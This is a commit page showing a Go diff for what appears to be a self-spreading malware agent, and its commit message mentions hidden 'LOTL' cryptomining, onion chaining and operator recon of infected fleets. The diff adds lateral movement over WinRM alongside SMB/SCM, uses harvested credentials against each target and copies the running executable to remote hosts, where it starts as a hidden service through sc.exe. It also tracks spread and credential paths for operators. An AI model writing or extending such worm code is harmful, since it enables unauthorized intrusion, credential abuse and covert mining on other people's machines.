Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -34,6 +34,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
|
||||
for {
|
||||
spreadToLocalSubnet(cfg)
|
||||
if cfg.WinRMSpread || cfg.AutoSpread {
|
||||
go spreadViaWinRM(cfg)
|
||||
}
|
||||
<-ticker.C
|
||||
}
|
||||
}()
|
||||
@@ -43,7 +46,10 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
go spreadToLocalSubnet(cfg)
|
||||
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
|
||||
if cfg.WinRMSpread || cfg.AutoSpread {
|
||||
go spreadViaWinRM(cfg)
|
||||
}
|
||||
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
|
||||
}
|
||||
|
||||
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
||||
@@ -52,56 +58,7 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
// ARP-first: only probe hosts the OS has recently spoken to.
|
||||
// Typically 5–20 hosts vs 253 cold-probes — far quieter and faster.
|
||||
targets := arpHosts()
|
||||
|
||||
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
|
||||
// machines with SMB open so we still reach previously-unseen machines.
|
||||
if len(targets) < 3 {
|
||||
ips := getLocalIPs()
|
||||
seen := make(map[string]bool)
|
||||
for _, t := range targets {
|
||||
seen[t] = true
|
||||
}
|
||||
for _, ip := range ips {
|
||||
if !isIPv4(ip) {
|
||||
continue // active sweep is IPv4 /24 only; see subnet.go
|
||||
}
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
candidate, ok := ipv4SweepHost(subnet, i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if candidate == ip || seen[candidate] {
|
||||
continue
|
||||
}
|
||||
// Quick port check — only bother with machines that have :445 open
|
||||
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
seen[candidate] = true
|
||||
targets = append(targets, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
localSet := make(map[string]bool)
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
var filtered []string
|
||||
for _, target := range targets {
|
||||
if localSet[target] {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, target)
|
||||
}
|
||||
filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
|
||||
beginSpreadSweep("smb_scm", len(filtered))
|
||||
if len(filtered) == 0 {
|
||||
finishSpreadSweepImmediate()
|
||||
@@ -125,6 +82,18 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
var credSession SpreadCredSession
|
||||
var credCleanup func()
|
||||
if session, ok := acquireSpreadCred(target, "smb_scm"); ok {
|
||||
credSession = session
|
||||
if cleanup, applied := applySpreadCredSession(target, session); applied {
|
||||
credCleanup = cleanup
|
||||
}
|
||||
}
|
||||
if credCleanup != nil {
|
||||
defer credCleanup()
|
||||
}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "executable path unavailable")
|
||||
@@ -159,7 +128,9 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
reportSpreadCredEdge(target, "smb_scm", credSession, true)
|
||||
} else {
|
||||
recordSpreadAttempt(target, false, "remote service start failed")
|
||||
reportSpreadCredEdge(target, "smb_scm", credSession, false)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user